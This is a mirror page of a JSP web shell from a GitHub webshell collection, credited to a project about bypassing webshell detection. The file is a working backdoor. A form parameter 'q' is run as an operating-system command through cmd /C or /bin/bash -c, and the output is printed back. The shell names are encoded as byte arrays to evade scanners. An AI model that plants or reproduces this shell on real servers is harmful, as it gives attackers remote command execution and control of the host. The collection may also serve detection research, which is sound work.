mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
1ee6e0dd74
from: https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/jsp author: Build By LandGrey
41 lines
1.1 KiB
Text
41 lines
1.1 KiB
Text
<%@ page pageEncoding="utf-8"%>
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<%@ page import="java.util.Scanner" %>
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<HTML>
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<title>Just For Fun</title>
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<BODY>
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<H3>Build By LandGrey</H3>
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<FORM METHOD="POST" NAME="form" ACTION="#">
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<INPUT TYPE="text" NAME="q">
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<INPUT TYPE="submit" VALUE="Fly">
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</FORM>
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<%
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String op="Got Nothing";
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String query = request.getParameter("q");
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String fileSeparator = String.valueOf(java.io.File.separatorChar);
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Boolean isWin;
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if(fileSeparator.equals("\\")){
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isWin = true;
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}else{
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isWin = false;
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}
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if (query != null) {
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ProcessBuilder pb;
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if(isWin) {
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pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
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}else{
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pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
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}
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Process process = pb.start();
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Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
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op = sc.hasNext() ? sc.next() : op;
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sc.close();
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}
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%>
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<PRE>
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<%= op %>>
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</PRE>
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</BODY>
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</HTML>
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